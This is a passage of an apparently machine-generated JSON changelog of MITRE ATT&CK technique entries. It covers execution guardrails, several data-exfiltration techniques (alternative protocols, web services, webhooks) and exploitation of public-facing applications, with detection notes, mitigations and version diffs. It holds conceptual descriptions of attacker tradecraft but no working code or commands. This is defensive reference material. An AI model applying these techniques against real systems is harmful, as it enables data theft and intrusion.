Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0025: Cloud Service (Cloud Service Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31 02:10:08.261000+00:00", + "modified": "2024-06-07 14:30:23.491000+00:00", + "name": "Execution Guardrails", + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1480", + "external_id": "T1480" + }, + { + "source_name": "FireEye Outlook Dec 2019", + "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html" + }, + { + "source_name": "Trellix-Qakbot", + "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.", + "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/" + }, + { + "source_name": "FireEye Kevin Mandia Guardrails", + "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.", + "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nick Carr, Mandiant" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host Forensic Analysis", + "Signature-based Detection", + "Static File Analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-06-07 14:30:23.491000+00:00\", \"old_value\": \"2022-05-03 02:39:29.314000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\\n\\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\\n\\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)\", \"old_value\": \"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\\n\\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\\n \\n Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\\n+\\n+Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Trellix-Qakbot\", \"description\": \"Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.\", \"url\": \"https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use execution guardrails to constrain executt1Adversaries may use execution guardrails to constrain execut
>ion or actions based on adversary supplied and environment s>ion or actions based on adversary supplied and environment s
>pecific conditions that are expected to be present on the ta>pecific conditions that are expected to be present on the ta
>rget. Guardrails ensure that a payload only executes against>rget. Guardrails ensure that a payload only executes against
> an intended target and reduces collateral damage from an ad> an intended target and reduces collateral damage from an ad
>versary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrail>versary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrail
>s) Values an adversary can provide about a target system or >s) Values an adversary can provide about a target system or 
>environment to use as guardrails may include specific networ>environment to use as guardrails may include specific networ
>k share names, attached physical devices, files, joined Acti>k share names, attached physical devices, files, joined Acti
>ve Directory (AD) domains, and local/external IP addresses.(>ve Directory (AD) domains, and local/external IP addresses.(
>Citation: FireEye Outlook Dec 2019)  Guardrails can be used >Citation: FireEye Outlook Dec 2019)  Guardrails can be used 
>to prevent exposure of capabilities in environments that are>to prevent exposure of capabilities in environments that are
> not intended to be compromised or operated within. This use> not intended to be compromised or operated within. This use
> of guardrails is distinct from typical [Virtualization/Sand> of guardrails is distinct from typical [Virtualization/Sand
>box Evasion](https://attack.mitre.org/techniques/T1497). Whi>box Evasion](https://attack.mitre.org/techniques/T1497). Whi
>le use of [Virtualization/Sandbox Evasion](https://attack.mi>le use of [Virtualization/Sandbox Evasion](https://attack.mi
>tre.org/techniques/T1497) may involve checking for known san>tre.org/techniques/T1497) may involve checking for known san
>dbox values and continuing with execution only if there is n>dbox values and continuing with execution only if there is n
>o match, the use of guardrails will involve checking for an >o match, the use of guardrails will involve checking for an 
>expected target-specific value and only continuing with exec>expected target-specific value and only continuing with exec
>ution if there is such a match.>ution if there is such a match.  Adversaries may identify an
 >d block certain user-agents to evade defenses and narrow the
 > scope of their attack to victims and platforms on which it 
 >will be most effective. A user-agent self-identifies data su
 >ch as a user's software application, operating system, vendo
 >r, and version. Adversaries may check user-agents for operat
 >ing system identification and then only serve malware for th
 >e exploitable software while ignoring all other operating sy
 >stems.(Citation: Trellix-Qakbot)
", + "changelog_mitigations": { + "shared": [ + "M1055: Do Not Mitigate" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:44.720000+00:00", + "modified": "2024-10-15 15:57:26.415000+00:00", + "name": "Exfiltration Over Alternative Protocol", + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1048", + "external_id": "T1048" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain", + "Alfredo Abarca" + ], + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Access", + "Network Traffic: Network Traffic Flow", + "Command: Command Execution", + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content", + "File: File Access", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS", + "Network", + "Office Suite" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_network_requirements']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:57:26.415000+00:00\", \"old_value\": \"2023-04-15 00:58:36.287000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}, \"root['x_mitre_platforms'][6]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0010: Cloud Storage (Cloud Storage Access)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 12:51:45.570000+00:00", + "modified": "2024-10-15 15:57:40.951000+00:00", + "name": "Exfiltration Over Web Service", + "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1567", + "external_id": "T1567" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation", + "Command: Command Execution", + "Network Traffic: Network Traffic Flow", + "File: File Access", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:57:40.951000+00:00\", \"old_value\": \"2023-09-05 15:00:36.471000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-20 15:30:55.763000+00:00", + "modified": "2024-10-15 15:57:55.928000+00:00", + "name": "Exfiltration Over Webhook", + "description": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1567/004", + "external_id": "T1567.004" + }, + { + "source_name": "Checkmarx Webhooks", + "description": " Jossef Harush Kadouri. (2022, March 7). Webhook Party \u2014 Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.", + "url": "https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191" + }, + { + "source_name": "CyberArk Labs Discord", + "description": "CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.", + "url": "https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord" + }, + { + "source_name": "Discord Intro to Webhooks", + "description": "D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.", + "url": "https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks" + }, + { + "source_name": "Microsoft SQL Server", + "description": "Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.", + "url": "https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/" + }, + { + "source_name": "Talos Discord Webhook Abuse", + "description": "Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.", + "url": "https://blog.talosintelligence.com/collab-app-abuse/" + }, + { + "source_name": "Push Security SaaS Attacks Repository Webhooks", + "description": "Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.", + "url": "https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md" + }, + { + "source_name": "RedHat Webhooks", + "description": "RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.", + "url": "https://www.redhat.com/en/topics/automation/what-is-a-webhook" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Microsoft Threat Intelligence", + "Sunders Bruskin, Microsoft Threat Intelligence" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Command: Command Execution", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:57:55.928000+00:00\", \"old_value\": \"2023-10-12 05:22:59.079000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][4]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-09-24 14:33:53.433000+00:00", + "name": "Exploit Public-Facing Application", + "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1190", + "external_id": "T1190" + }, + { + "source_name": "CWE top 25", + "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.", + "url": "https://cwe.mitre.org/top25/index.html" + }, + { + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "source_name": "Wired Russia Cyberwar", + "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.", + "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/" + }, + { + "source_name": "Mandiant Fortinet Zero Day", + "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + }, + { + "source_name": "OWASP Top 10", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", + "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + }, + { + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Praetorian" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-24 14:33:53.433000+00:00\", \"old_value\": \"2023-11-28 21:27:35.373000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\\n\\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\\n\\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\\n\\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\\n\\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)\", \"old_value\": 